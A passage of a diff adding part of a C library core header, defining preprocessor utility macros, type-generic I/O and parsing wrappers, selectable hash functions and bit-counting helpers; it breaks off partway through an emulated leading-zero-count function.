+#define M_REMOVE_PARENTHESIS(...)                                             \
+  M_IF(M_PARENTHESIS_P(__VA_ARGS__))(M_REMOVE_PARENTHESIS_2, M_REMOVE_PARENTHESIS_3)(__VA_ARGS__)
+#define M_REMOVE_PARENTHESIS_2(...) M_REMOVE_PARENTHESIS_3 __VA_ARGS__
+#define M_REMOVE_PARENTHESIS_3(...) __VA_ARGS__
+
+
+/* Return the input (delay evaluation).
+   WARNING: Cannot be used by internal macros as it may appear in such cases
+   in recursive context, preventing expansion. Only top level macros can use it.
+ */
+#define M_ID(...)                 __VA_ARGS__
+
+
+/* Remove the input from preprocessing evaluation */
+#define M_EAT(...)
+
+
+/* M_NARGS: Return number of argument.
+   (don't work for empty arg) */
+#define M_NARGS(...)                                                          \
+  M_RET_ARG76(__VA_ARGS__, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66, 65,        \
+              64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53,                 \
+              52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42,                     \
+              41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27,     \
+              26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16,                     \
+              15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, useless)
+
+/* If the number of arguments is 1 */
+#define M_IF_NARGS_EQ1(...)           M_IF(M_EQUAL(M_NARGS(__VA_ARGS__), 1))
+
+/* If the number of arguments is 2 */
+#define M_IF_NARGS_EQ2(...)           M_IF(M_EQUAL(M_NARGS(__VA_ARGS__), 2))
+
+
+/* If NDEBUG macro is not defined, expand code
+   USAGE: M_IF_DEBUG(code if NDEBUG is not defined)
+   Note: not 100% robust but sufficient for its usage */
+#define M_TEST_NDEBUG_P()           M_C3(M_, NDEBUG, _TEST)
+#define M_NDEBUG_TEST               0
+#define M_IF_DEBUG(a)               M_IF(M_TEST_NDEBUG_P())(,a)
+
+
+/* If the Function Object is included, expands the code,
+   otherwise do nothing.
+   M_FUNC0BJ_IS_NOT_DEFINED is defined to 0.
+   NOTE: M_IF is the variable is not defined assumes yes.
+*/
+#define M_IF_FUNCOBJ(a)             M_IF(M_FUNC0BJ_IS_NOT_DEFINED)( ,a)
+
+
+/* Helper macro to redefine a function with a default value:
+   + Give the number of expected arguments, the value list of the
+   default argument, and the arguments.
+   It will complete the arguments with the value of the default
+   argument to complete up to 'expected' arguments.
+   USAGE:
+    M_DEFAULT_ARGS(expected_num_of_args, (list_of_default_values), given_arguments...)
+   Example:
+    extern int f(int x, int y = 0, int z = 1, const char *p = NULL);
+   ==>
+    #define f(...) f(M_DEFAULT_ARGS(4, (0, 1, NULL), __VA_ARGS__))
+*/
+#define M_DEFAULTI_ARGS2(numArgs, numExpected, value, ...)                    \
+  __VA_ARGS__                                                                 \
+  M_IF(M_NOTEQUAL(numArgs, numExpected))(M_DEFERRED_COMMA, )                  \
+  M_REVERSE(M_KEEP_ARGS(M_SUB(numExpected, numArgs), M_REVERSE value, M_LIB_ERROR_MISSING_MANDATORY_ARGUMENT))
+#define M_DEFAULTI_ARGS_EVAL(...) __VA_ARGS__
+#define M_DEFAULT_ARGS(expected, value,  ...)                                 \
+  M_DEFAULTI_ARGS_EVAL(M_DEFAULTI_ARGS2(M_NARGS(__VA_ARGS__), expected, value, __VA_ARGS__))
+
+
+
+
+/***************************************************************/
+/******************** Compile Times Macro **********************/
+/***************************************************************/
+
+/* Return the string representation of the evaluated expression. */
+#define M_AS_STR(x)                 M_AS_STRI(x)
+#define M_AS_STRI(x)                #x
+
+/* Convert an oplist into a string. It may generate a very long string,
+  which generates warning (string length greater than 4095).
+  So the conversion is optional */
+#ifdef M_USE_PRINT_OPLIST
+# define M_OPL_AS_STR(x) M_AS_STR(x)
+#else
+# define M_OPL_AS_STR(x)
+#endif
+
+/* C11 MACROS */
+
+/* Maximum number of characters of an internal identifier (field name)
+   including final null char. Bigger than 
+   63 significant initial characters of C11 standard (§5.2.4.1)
+   Can be overloaded by user if needed.
+   NOTE: Used by variant & serial JSON to translate a field name into 
+   a structure offset.
+*/
+#ifndef M_USE_IDENTIFIER_ALLOC
+#define M_USE_IDENTIFIER_ALLOC 128 /* (including of final null char) */
+#endif
+
+/* Return the string format of a variable */
+#define M_PRINTF_FORMAT(x)                                                    \
+  _Generic(((void)0,(x)),                                                     \
+           char: "%c",                                                        \
+           bool: "%d",                                                        \
+           signed char: "%hhd",                                               \
+           unsigned char: "%hhu",                                             \
+           signed short: "%hd",                                               \
+           unsigned short: "%hu",                                             \
+           signed int: "%d",                                                  \
+           unsigned int: "%u",                                                \
+           long int: "%ld",                                                   \
+           unsigned long int: "%lu",                                          \
+           long long int: "%lld",                                             \
+           unsigned long long int: "%llu",                                    \
+           float: "%f",                                                       \
+           double: "%f",                                                      \
+           long double: "%Lf",                                                \
+           const char *: "%s",                                                \
+           char *: "%s",                                                      \
+           const void *: "%p",                                                \
+           void *: "%p"                                                       \
+           M_PRINTF_FORMAT_EXTEND() )
+
+#define M_PRINTF_FORMAT_EXTEND() /* Nothing in m-core (see m-string.h) */
+
+/* IF FILE is supported */
+#if M_USE_STDIO
+
+/* Define internal wrappers around Annex K functions or classic functions for:
+ * - fopen
+ * - fscanf
+ * - strncpy
+ * - strncat
+ *
+ * There is no real usage outside of MSVC of Annex K,
+ * so the real standard compliant Annex K is not taken into account
+ * by this specific wrapper.
+ *
+ * If Microsoft Visual Studio C Library
+ * and the user wants to use the Annex K.
+ * ==> Use Annex K like functions to avoid warnings.
+ * 
+ * Only these functions produce warning,
+ * so we keep the wrapper as simple as possible by including only then.
+ */
+#if defined(_MSC_VER) && defined(__STDC_WANT_LIB_EXT1__) && __STDC_WANT_LIB_EXT1__
+
+/* Wrapper around fopen_s */
+M_INLINE FILE *
+m_core_fopen(const char filename[], const char opt[])
+{
+    FILE *f;
+    int err = fopen_s(&f, filename, opt);
+    if (err) return NULL;
+    return f;
+}
+
+/* Wrapper around strncpy */
+#define m_core_strncpy(s1, alloc, s2, size) strncpy_s(s1, alloc, s2, size)
+
+/* Wrapper around strncat */
+#define m_core_strncat(s1, alloc, s2, size) strncat_s(s1, alloc, s2, size)
+
+/* Wrapper around fscanf_s */
+#define m_core_fscanf(...) fscanf_s(__VA_ARGS__)
+/* Macro to be used in m_core_fscanf for argument associated
+ * to the format %c, %s or %[
+ * in order to specify the size of the argument */
+#define m_core_arg_size(arg, size) arg, (unsigned) size
+
+#else          /* Use classic C functions */
+
+/* Wrapper around fopen */
+#define m_core_fopen(...) fopen(__VA_ARGS__)
+/* Wrapper around strncpy */
+#define m_core_strncpy(s1, alloc, s2, size) strncpy(s1, s2, size)
+/* Wrapper around strncat */
+#define m_core_strncat(s1, alloc, s2, size) strncat(s1, s2, size)
+/* Wrapper around fscanf */
+#define m_core_fscanf(...) fscanf(__VA_ARGS__)
+
+/* Macro to be used in m_core_fscanf for argument associated
+ * to the format %c, %s or %[
+ * in order to specify the size of the argument */
+#define m_core_arg_size(arg, size) arg
+
+#endif
+
+/* Can be overloaded by m-string to support string output too */
+#define M_CORE_PRINTF_ARG(x) x
+
+/* Print a C variable if it is a standard type to the given file 'f'.
+  If a variable is extended (i.e. like (x, type) ) it will use the 
+  method associated to the OUT_STR operator.
+*/
+#define M_FPRINT_ARG(f, x)                                                    \
+  M_IF(M_PARENTHESIS_P(x))                                                    \
+    ( M_FPRINT_ARG_OUT_STR(f, M_PAIR_2 x, M_PAIR_1 x),                        \
+    fprintf(f, M_PRINTF_FORMAT(x), M_CORE_PRINTF_ARG(x) ) )
+
+/* Internal macro to call the OUT_STR method */
+#define M_FPRINT_ARG_OUT_STR(file, oplist, var)                               \
+  M_CALL_OUT_STR( M_GLOBAL_OPLIST(oplist) , file, var)
+
+/* Get a C variable if it is a standard type from the given file 'f'.*/
+#define M_FSCAN_ARG(xptr, f)                                                  \
+  _Generic(((void)0,*(xptr)),                                                 \
+           bool: m_core_fscan_bool(M_AS_TYPE(bool*,xptr), f),                 \
+           char: m_core_fscan_char(M_AS_TYPE(char*,xptr), f),                 \
+           signed char: m_core_fscan_schar(M_AS_TYPE(signed char*,xptr),f),   \
+           unsigned char: m_core_fscan_uchar(M_AS_TYPE(unsigned char*,xptr),f), \
+           signed short: m_core_fscan_sshort(M_AS_TYPE(signed short*,xptr),f), \
+           unsigned short: m_core_fscan_ushort(M_AS_TYPE(unsigned short*,xptr), f), \
+           signed int: m_core_fscan_sint(M_AS_TYPE(signed int*,xptr), f),     \
+           unsigned int: m_core_fscan_uint(M_AS_TYPE(unsigned int*,xptr), f), \
+           long int: m_core_fscan_slong(M_AS_TYPE(long*,xptr), f),            \
+           unsigned long int: m_core_fscan_ulong(M_AS_TYPE(unsigned long*,xptr), f), \
+           long long int: m_core_fscan_sllong(M_AS_TYPE(long long*,xptr), f), \
+           unsigned long long int: m_core_fscan_ullong(M_AS_TYPE(unsigned long long*,xptr),f), \
+           float: m_core_fscan_float(M_AS_TYPE(float*,xptr), f),              \
+           double: m_core_fscan_double(M_AS_TYPE(double*,xptr), f),           \
+           long double: m_core_fscan_ldouble(M_AS_TYPE(long double*,xptr),f), \
+           const char *: false /* unsupported */,                             \
+           char *: false /* unsupported */,                                   \
+           const void *: false /* unsupported */,                             \
+           void *: false /* unsupported */)
+
+/* Internal wrappers used by M_FSCAN_ARG : */
+M_INLINE bool
+m_core_fscan_bool (bool *ptr, FILE *f)
+{
+  int c = fgetc(f);
+  *ptr = (c == '1');
+  return (c == '0') || (c == '1');
+}
+
+M_INLINE bool
+m_core_fscan_char (char *ptr, FILE *f)
+{
+  int c = fgetc(f);
+  *ptr = (char) c;
+  return c != EOF;
+}
+
+#define M_FSCAN_DEFAULT_TYPE_DEF(name, type, format)                          \
+  M_INLINE bool                                                               \
+  name (type *ptr, FILE *f)                                                   \
+  {                                                                           \
+    return m_core_fscanf(f, format, ptr) == 1;                                \
+  }
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_schar, signed char, "%hhd")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_uchar, unsigned char, "%hhu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_sshort, signed short, "%hd")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ushort, unsigned short, "%hu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_sint, signed int, "%d")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_uint, unsigned int, "%u")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_slong, signed long, "%ld")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ulong, unsigned long, "%lu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_sllong, signed long long, "%lld")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ullong, unsigned long long, "%llu")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_float, float, "%f")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_double, double, "%lf")
+M_FSCAN_DEFAULT_TYPE_DEF(m_core_fscan_ldouble, long double, "%Lf")
+
+/* Return the next character (like fgetc) which is not a space character
+   and advance the FILE stream accordingly */
+M_INLINE int m_core_fgetc_nospace(FILE *f)
+{
+  int c;
+  do {
+    c = fgetc(f);
+  } while (c != EOF && isspace(c));
+  return c;
+}
+
+#endif /* End of stdio definitions */
+
+/* Return the next character (like fgetc) which is not a space character
+   and advance the string stream accordingly */
+M_INLINE char m_core_str_nospace(const char **str)
+{
+  char c;
+  do {
+    c = *((*str)++);
+  } while (isspace((unsigned char) c));
+  return c;
+}
+
+/* Transform a C variable into a m_string_t (needs m-string.h) */
+#define M_GET_STRING_ARG(str, x, append)                                      \
+  (append ? m_string_cat_printf : m_string_printf) M_R(str, M_PRINTF_FORMAT(x), M_CORE_PRINTF_ARG(x))
+
+/* No use of GET_STR if no inclusion of m-string */
+#define M_GET_STR_METHOD_FOR_DEFAULT_TYPE /* */
+
+/* Parse string of default type */
+#define M_PARSE_DEFAULT_TYPE(x, str, endptr)                                  \
+  _Generic(((void)0,*(x)),                                                    \
+           char: m_core_parse_char(M_AS_TYPE(char*,x),str,endptr),            \
+           bool: m_core_parse_bool(M_AS_TYPE(bool*,x),str,endptr),            \
+           signed char: m_core_parse_schar(M_AS_TYPE(signed char*,x),str,endptr), \
+           unsigned char: m_core_parse_uchar(M_AS_TYPE(unsigned char*,x),str,endptr), \
+           signed short: m_core_parse_sshort(M_AS_TYPE(signed short*,x),str,endptr), \
+           unsigned short: m_core_parse_ushort(M_AS_TYPE(unsigned short*,x),str,endptr), \
+           signed int: m_core_parse_sint(M_AS_TYPE(signed int*,x),str,endptr), \
+           unsigned int: m_core_parse_uint(M_AS_TYPE(unsigned int*,x),str,endptr), \
+           signed long: m_core_parse_slong(M_AS_TYPE(signed long *,x),str,endptr), \
+           unsigned long: m_core_parse_ulong(M_AS_TYPE(unsigned long*,x),str,endptr), \
+           signed long long: m_core_parse_sllong(M_AS_TYPE(signed long long*,x),str,endptr), \
+           unsigned long long: m_core_parse_ullong(M_AS_TYPE(unsigned long long*,x),str,endptr), \
+           float: m_core_parse_float(M_AS_TYPE(float*,x),str,endptr),         \
+           double: m_core_parse_double(M_AS_TYPE(double*,x),str,endptr),      \
+           long double: m_core_parse_ldouble(M_AS_TYPE(long double*,x),str,endptr), \
+           const char *: false /* not supported */,                           \
+           char *: false /* not supported */,                                 \
+           const void *: false /* not supported */,                           \
+           void *: false /* not supported */)
+
+/* Internal wrappers used by M_PARSE_DEFAULT_TYPE : */
+M_INLINE bool
+m_core_parse_char (char *ptr, const char str[], const char **endptr)
+{
+    *ptr = *str++;
+    if (endptr != NULL) { *endptr = str; }
+    return true;
+}
+
+M_INLINE bool
+m_core_parse_bool (bool *ptr, const char str[], const char **endptr)
+{
+  char c = *str++;
+  *ptr = (c == '1');
+  if (endptr != NULL) { *endptr = str; }
+  return (c == '0') || (c == '1');
+}
+
+#define M_PARSE_DEFAULT_TYPE_DEF(name, type, parse_func, extra_arg)           \
+  M_INLINE bool                                                               \
+  name (type *ptr, const char str[], const char **endptr)                     \
+  {                                                                           \
+    char *end;                                                                \
+    *ptr = (type) parse_func (str, &end extra_arg);                           \
+    if (endptr != NULL) { *endptr = end; }                                    \
+    return end != str;                                                        \
+    }
+
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_schar, signed char, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_uchar, unsigned char, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_sshort, signed short, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ushort, unsigned short, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_sint, signed int, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_uint, unsigned int, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_slong, signed long, strtol, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ulong, unsigned long, strtoul, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_sllong, signed long long, strtoll, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ullong, unsigned long long, strtoull, M_DEFERRED_COMMA 10)
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_float, float, strtof, )
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_double, double, strtod, )
+M_PARSE_DEFAULT_TYPE_DEF(m_core_parse_ldouble, long double, strtold, )
+
+/* Internal macro to separate two arguments by a semicolon */
+#define M_SEPARATE_PER_SEMICOLON(a,b) a ; b
+
+/* Generic PRINT macro: print all its inputs regardless of the type
+   provided it is a generic "non-struct" type. */
+#define M_PRINT(...)   do { M_REDUCE2(M_FPRINT_ARG, M_SEPARATE_PER_SEMICOLON, stdout, __VA_ARGS__); } while (0)
+
+/* Generic FPRINT macro: print all its inputs regardless of the type
+   provided it is a generic "non-struct" type into the file 'f'. */
+#define M_FPRINT(f,...)  do { M_REDUCE2(M_FPRINT_ARG, M_SEPARATE_PER_SEMICOLON, f, __VA_ARGS__); } while (0)
+
+/* Within a C11 _Generic statement, all expressions shall be valid C
+   expression even if the case if always false, and is not executed.
+   This can seriously limit the _Generic statement.
+   This macro overcomes this limitation by returning :
+   * either the input 'x' if it is of type 'type',
+   * or the value 0 view as a type 'type'.
+   NOTE: Not compatible with C++.
+*/
+#define M_AS_TYPE(type, x) _Generic(((void)0,(x)), type: (x), default: (type) {0})
+
+/* Return the minimum between x and y (computed in compile time) */
+#define M_MIN(x, y) ((x) < (y) ? (x) : (y))
+
+/* Return the maximum between x and y (computed in compile time) */
+#define M_MAX(x, y) ((x) > (y) ? (x) : (y))
+
+/* Is the number a power of 2? (computed in compile time) */
+#define M_POWEROF2_P(n) (!((n)&((n)-1)))
+
+/* Swap two objects x & y of the same type */
+#define M_SWAP(type, x, y) do {                                               \
+    type _tmp = (x);                                                          \
+    (x) = (y);                                                                \
+    (y) = _tmp;                                                               \
+  } while (0)
+
+
+/* Check if 'n' is assignable to an object of type 'type'.
+   It is as if we create a temporary of type 'type' and assign 'n' to it.
+   Return the object 'n' if it is possible.
+   Two definitions: one with compound-literals for C, the other with static_cast for C++.
+   NOTE: C definition is safer than the C++ one.
+*/
+#ifndef __cplusplus
+/* Cast the object n into type only if it is C assignable */
+# define M_ASSIGN_CAST(type, n)                 ((type) { 0 } = (n))
+#else
+/* Cast the object n into type using a static_cast */
+# define M_ASSIGN_CAST(type, n)                 static_cast<type>(n)
+#endif
+
+
+/* Cast 'n' of type 'type*' into 'type const*'.
+   This is like (type const*)p but safer as the type of 'n' is checked,
+   and more robust for double arrays type.
+   NOTE: Compliant with the C standard as in §6.2.5 Types:
+   "Similarly, pointers to qualified or unqualified versions
+   of compatible types shall have the same representation and
+   alignment requirements."
+*/
+#ifndef __cplusplus
+# define M_CONST_CAST(type, n)                                                \
+  (((union { type *ptr; type const *cptr; }){ .ptr = n}).cptr)
+#else
+# define M_CONST_CAST(type, n)                  const_cast<type*>(n)
+#endif
+
+
+/*
+ * From a pointer to the 'field' field of type 'field_type' of a 'type' structure,
+ * return the pointer to the structure.
+ * Used to handle intrusive structure.
+ * NOTE: Use an ASSIGN_CAST to make the cast a little bit safer.
+ */
+#define M_TYPE_FROM_FIELD(type, ptr, field_type, field)                       \
+  ((type *)(void*)( (char *)M_ASSIGN_CAST(field_type*, (ptr)) - offsetof(type, field) ))
+
+#define M_CTYPE_FROM_FIELD(type, ptr, field_type, field)                      \
+  ((type const *)(const void*)( (const char *)M_ASSIGN_CAST(field_type const *, (ptr)) - offsetof(type, field) ))
+
+
+/* Use to generate a dummy alignment field for cache alignment within a structure 
+   Take the name of the dummy field, and a list of the type of the fields that previously fill in the structure.
+ */
+#define M_ADD_SIZE(a,b)              a + b
+#define M_CACHELINE_ALIGN(name, ...)                                          \
+  char name[M_ALIGN_FOR_CACHELINE_EXCLUSION > M_REDUCE(sizeof, M_ADD_SIZE, __VA_ARGS__) \
+            ? M_ALIGN_FOR_CACHELINE_EXCLUSION - M_REDUCE(sizeof, M_ADD_SIZE, __VA_ARGS__) : 1]
+
+
+/* C++ doesn't support flexible array within a structure.
+   Let's define at least one element for an array.
+   It doesn't also support VLA usage in function prototype.
+   TCC doesn't support VLA for types too.
+ */
+#if defined(__cplusplus) || defined (__TINYC__)
+# define M_MIN_FLEX_ARRAY_SIZE 1
+# define M_VLA(n)
+#else
+# define M_MIN_FLEX_ARRAY_SIZE 
+# define M_VLA(n) n
+#endif
+
+#if M_USE_STDARG && M_USE_STDIO
+
+/* Define the allocation of the temporary string used by M_CSTR
+   Default is 256 bytes (so 255 characters excluding the final null char).
+   It can be overriden by users if needed.
+*/
+#ifndef M_USE_CSTR_ALLOC
+#define M_USE_CSTR_ALLOC 256
+#endif
+
+/* Define M_CSTR for C++ & C */
+#if defined(__cplusplus)
+namespace m_lib {
+  template <unsigned int N>
+    struct m_char_array {
+      char str[N];
+      inline m_char_array(const char *format, ...)
+      {
+        va_list args;
+        va_start (args, format);
+        int ret = vsnprintf(str, N, format, args);
+        (void) ret;
+        va_end (args);
+      }
+      inline const char *m_get(void)
+      {
+        return str;
+      }
+    };
+}
+
+/* Return a constant string constructed based on the printf-liked formated string
+   and its arguments.
+   The string is constructed at run time and uses a temporary space on the stack.
+   If the constructed string is longer than M_USE_CSTR_ALLOC (default 256),
+   the string is truncated.
+   Example:
+    strlen( M_CSTR("Len=%d", 17) ) == 6
+   NOTE: C++ definition using template as C++ doesn't support compound litteral.
+*/
+#define M_CSTR(...)                                                           \
+  (m_lib::m_char_array<M_USE_CSTR_ALLOC>(__VA_ARGS__)).m_get()
+
+#elif defined(__GNUC__) && !defined(M_ADDRESS_SANITIZER) && __GNUC__ < 12
+
+/* Return a constant string constructed based on the printf-liked formated string
+   and its arguments.
+   The string is constructed at run time and uses a temporary space on the stack.
+   If the constructed string is longer than M_USE_CSTR_ALLOC (default 256),
+   the string is truncated.
+   Example:
+    strlen( M_CSTR("Len=%d", 17) ) == 6
+   NOTE: C definition using GNU C extension statement expression to produce
+   smaller & faster code and enables the compiler to produce better warnings.
+   In C, the return value is the array, not the pointer to the array
+   (if I understand https://gcc.gnu.org/onlinedocs/gcc-10.2.0/gcc/Statement-Exprs.html
+   correctly, it is specified that only G++ converts the final result value
+   if it is an array to a pointer), so the return value is given back
+   to the parent scope.
+   However, address sanitizer doesn't see this particular corner case,
+   and raise an error.
+   So let's disable this implementation if address sanitizer is enabled.
+   Encapsulating the array in a struct will generate an additionnal memcpy
+   to recopy the buffer from the stack to the stack (!)
+*/
+#define M_CSTR(...)                                                           \
+  M_ATTR_EXTENSION ({char m_core_tmp[M_USE_CSTR_ALLOC];                       \
+      int m_core_r = snprintf(m_core_tmp,  M_USE_CSTR_ALLOC, __VA_ARGS__);    \
+      (void) m_core_r; m_core_tmp; })
+
+#else
+
+// Encapsulate snprintf to return the input buffer as argument (needed for M_CSTR)
+M_INLINE const char *
+m_core_snprintf(char *str, size_t size, const char *format, ...)
+{
+  va_list args;
+  va_start (args, format);
+  int ret = vsnprintf(str, size, format, args);
+  (void) ret;
+  va_end (args);
+  return str;
+}
+
+/* Return a constant string constructed based on the printf-liked formated string
+   and its arguments.
+   The string is constructed at run time and uses a temporary space on the stack.
+   If the constructed string is longer than M_USE_CSTR_ALLOC (default 256),
+   the string is truncated.
+   Example:
+    strlen( M_CSTR("Len=%d", 17) ) == 6
+   NOTE: C definition using compound litteral (init to 0).
+   This has a bad performance impact since it clears the memory before using it.
+*/
+#define M_CSTR(...)                                                           \
+  m_core_snprintf( (char [M_USE_CSTR_ALLOC]){0}, M_USE_CSTR_ALLOC, __VA_ARGS__)
+
+#endif
+
+#endif // Have stdarg
+
+
+/************************************************************/
+/********************* HASH selection ***********************/
+/************************************************************/
+
+/* User code shall overwrite this macro by a random seed (of type size_t)
+   so that the hash are not easily predictible by an attacker.
+   See https://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf
+*/
+#ifndef M_USE_HASH_SEED
+# define M_USE_HASH_SEED 0UL
+#endif
+
+#if   defined(M_USE_DJB_HASH)
+#define M_HASH_INIT 5381UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 33UL) + (h2))
+#elif defined(M_USE_DJB_XOR_HASH)
+#define M_HASH_INIT 5381UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 33UL) ^ (h2))
+#elif defined(M_USE_JSHASH)
+#define M_HASH_INIT 1315423911UL
+#define M_HASH_CALC(h1,h2)  ((h1) ^ (((h1) << 5) + (h2) + ((h1) >> 2)))
+#elif defined(M_USE_BKDRHASH)
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 131) + (h2))
+#elif defined(M_USE_SDBMHASH)
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  ((h2) + ((h1) << 6) + ((h1) << 16) - (h1))
+#elif defined(M_USE_DEKHASH)
+#define M_HASH_INIT 0UL /* should be len but not possible with interface */
+#define M_HASH_CALC(h1,h2)  ( (((h1)<<5) | (h1 >> (CHAR_BIT*sizeof(size_t)-5))) ^(h2))
+#elif defined(M_USE_BPHASH)
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  (((h1) << 7) ^ (h2))
+#else
+//FNVHASH
+#define M_HASH_INIT 0UL
+#define M_HASH_CALC(h1,h2)  (((h1) * 0x811C9DC5UL) ^ (h2))
+#endif
+
+#define M_HASH_DECL(hash)   size_t hash = M_HASH_INIT ^ M_USE_HASH_SEED
+#define M_HASH_UP(hash,h)   do { hash = (size_t) M_HASH_CALC(hash, (h)); } while (0)
+#define M_HASH_FINAL(hash)  ( (hash) >> (sizeof(size_t)*CHAR_BIT/2) ^ (hash) )
+
+/* Safe, efficient, and portable Rotate:
+   It should be recognized by any compiler and generate a single roll instruction.
+   If support for n==0 is needed, we can write:
+   return (x<<n) | (x>>(-n&31));
+   but compilers are less likely to generate a roll instruction.
+ */
+M_INLINE uint32_t m_core_rotl32a (uint32_t x, uint32_t n)
+{
+  M_ASSERT (n > 0 && n<32);
+  return (x<<n) | (x>>(32-n));
+}
+M_INLINE uint64_t m_core_rotl64a (uint64_t x, uint32_t n)
+{
+  M_ASSERT (n > 0 && n<64);
+  return (x<<n) | (x>>(64-n));
+}
+
+/* Round to the next highest power of 2.
+   See https://web.archive.org/web/20160703165415/https://graphics.stanford.edu/~seander/bithacks.html#RoundUpPowerOf2
+*/
+M_INLINE uint64_t m_core_roundpow2(uint64_t v)
+{
+  v--;
+  v |= v >> 1;
+  v |= v >> 2;
+  v |= v >> 4;
+  v |= v >> 8;
+  v |= v >> 16;
+  v |= v >> 32;
+  v++;
+  return v;
+}
+
+/* Return the count leading zero of the argument */
+#if defined(__GNUC__) && (__GNUC__*100 + __GNUC_MINOR__) >= 304
+M_INLINE unsigned int m_core_clz32(uint32_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0) ? sizeof(uint32_t)*CHAR_BIT : (size_t) __builtin_clzl(limb) - (sizeof(unsigned long) - sizeof(uint32_t)) * CHAR_BIT);
+}
+M_INLINE unsigned int m_core_clz64(uint64_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0ULL) ? sizeof (uint64_t)*CHAR_BIT : (size_t) __builtin_clzll(limb) - (sizeof (unsigned long long) - sizeof (uint64_t)) * CHAR_BIT);
+}
+
+M_INLINE unsigned int m_core_ctz32(uint32_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0) ? sizeof(uint32_t)*CHAR_BIT : (size_t) __builtin_ctzl(limb));
+}
+M_INLINE unsigned int m_core_ctz64(uint64_t limb)
+{
+  return (unsigned int) (M_UNLIKELY (limb == 0ULL) ? sizeof (uint64_t)*CHAR_BIT : (size_t) __builtin_ctzll(limb));
+}
+
+#elif defined(_MSC_VER) && (defined(_M_AMD64) || defined(_M_ARM64))
+// NOTE: _BitScanReverse64 is 64-bits only (not compatible 32 bits).
+#include <intrin.h>
+M_INLINE unsigned int m_core_clz32(uint32_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanReverse( &bit, limb ) != 0) {
+    return 31 - bit;
+  } else {
+    return 32;
+  }
+}
+M_INLINE unsigned int m_core_clz64(uint64_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanReverse64( &bit, limb ) != 0) {
+    return 63 - bit;
+  } else {
+    return 64;
+  }
+}
+
+M_INLINE unsigned int m_core_ctz32(uint32_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanForward( &bit, limb ) != 0) {
+    return bit;
+  } else {
+    return 32;
+  }
+}
+M_INLINE unsigned int m_core_ctz64(uint64_t limb)
+{
+  unsigned long bit = 0;
+  if (_BitScanForward64( &bit, limb ) != 0) {
+    return bit;
+  } else {
+    return 64;
+  }
+}
+
+#else
+// Emulation layer
+#define M_CORE_CLZ_TAB "\010\07\06\06\05\05\05\05\04\04\04\04\04\04\04\04\03\03\03\03\03\03\03\03\03\03\03\03\03\03\03\03\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00"
+
+M_INLINE unsigned int m_core_clz32(uint32_t limb)
+{
+  unsigned int shift = 0;
+  /* This code should be branchless on most targets */
+  /* Compute shift so that, it is
+     + -3 if the highest 24 bits are clear,
+     + -2 for the highest 16 bits,
+     + -1 for the highest 8 bits,
+     + 0 otherwise */
+  shift = -(unsigned) (limb < 0x1000000UL);
+  shift -= (limb < 0x10000UL);
+  shift -= (limb < 0x100UL);
